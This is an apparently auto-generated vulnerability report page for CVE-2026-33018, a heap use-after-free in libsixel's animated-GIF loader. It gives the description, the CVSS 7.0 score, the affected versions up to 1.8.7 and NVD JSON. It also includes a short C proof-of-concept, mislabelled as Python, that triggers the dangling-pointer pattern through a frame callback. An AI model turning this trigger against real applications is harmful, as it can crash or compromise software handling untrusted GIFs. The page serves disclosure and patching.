Security Vulnerability Report
中文
CVE-2026-33018 CVSS 7.0 HIGH

CVE-2026-33018

Published: 2026-04-14 22:16:30
Last Modified: 2026-04-23 14:48:09

Description

libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. Versions 1.8.7 and prior contain a Use-After-Free vulnerability via the load_gif() function in fromgif.c, where a single sixel_frame_t object is reused across all frames of an animated GIF and gif_init_frame() unconditionally frees and reallocates frame->pixels between frames without consulting the object's reference count. Because the public API explicitly provides sixel_frame_ref() to retain a frame and sixel_frame_get_pixels() to access the raw pixel buffer, a callback following this documented usage pattern will hold a dangling pointer after the second frame is decoded, resulting in a heap use-after-free confirmed by ASAN. Any application using sixel_helper_load_image_file() with a multi-frame callback to process user-supplied animated GIFs is affected, with a reliable crash as the minimum impact and potential for code execution. This issue has been fixed in version 1.8.7-r1.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:saitoha:libsixel:*:*:*:*:*:*:*:* - VULNERABLE
libsixel <= 1.8.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC Concept for CVE-2026-33018 * This code demonstrates the vulnerable usage pattern described in the advisory. * Compile with libsixel dev libraries. */ #include <sixel.h> #include <stdio.h> #include <stdlib.h> // Callback function simulating the vulnerable usage static int callback(sixel_frame_t *frame, void *priv) { static sixel_frame_t *saved_frame = NULL; // Simulate retaining the first frame as per documentation if (!saved_frame) { saved_frame = frame; sixel_frame_ref(saved_frame); // Increment ref count printf("Frame 1 captured. Pixel buffer: %p\n", (void*)sixel_frame_get_pixels(saved_frame)); } else { // When decoding the second frame, gif_init_frame frees the pixels internally // despite the ref count being non-zero. printf("Frame 2 processing. Accessing saved frame pixels...\n"); void *pixels = sixel_frame_get_pixels(saved_frame); // Accessing 'pixels' here triggers Use-After-Free printf("Saved Pixel buffer (Dangling): %p\n", pixels); // In a real exploit, further interaction with 'pixels' would occur here. } return 0; } int main(int argc, char **argv) { if (argc < 2) { fprintf(stderr, "Usage: %s <malicious.gif>\n", argv[0]); return 1; } // Call the vulnerable function with a multi-frame callback int result = sixel_helper_load_image_file(argv[1], callback, NULL); if (result != 0) { fprintf(stderr, "Failed to load image.\n"); } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33018", "sourceIdentifier": "[email protected]", "published": "2026-04-14T22:16:30.213", "lastModified": "2026-04-23T14:48:09.390", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. Versions 1.8.7 and prior contain a Use-After-Free vulnerability via the load_gif() function in fromgif.c, where a single sixel_frame_t object is reused across all frames of an animated GIF and gif_init_frame() unconditionally frees and reallocates frame->pixels between frames without consulting the object's reference count. Because the public API explicitly provides sixel_frame_ref() to retain a frame and sixel_frame_get_pixels() to access the raw pixel buffer, a callback following this documented usage pattern will hold a dangling pointer after the second frame is decoded, resulting in a heap use-after-free confirmed by ASAN. Any application using sixel_helper_load_image_file() with a multi-frame callback to process user-supplied animated GIFs is affected, with a reliable crash as the minimum impact and potential for code execution. This issue has been fixed in version 1.8.7-r1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:saitoha:libsixel:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.7-r1", "matchCriteriaId": "E16EAA6A-544F-4D16-829D-1B7C9979EA6A"}]}]}], "references": [{"url": "https://github.com/saitoha/libsixel/releases/tag/v1.8.7-r1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/saitoha/libsixel/security/advisories/GHSA-w46f-jr9f-rgvp", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}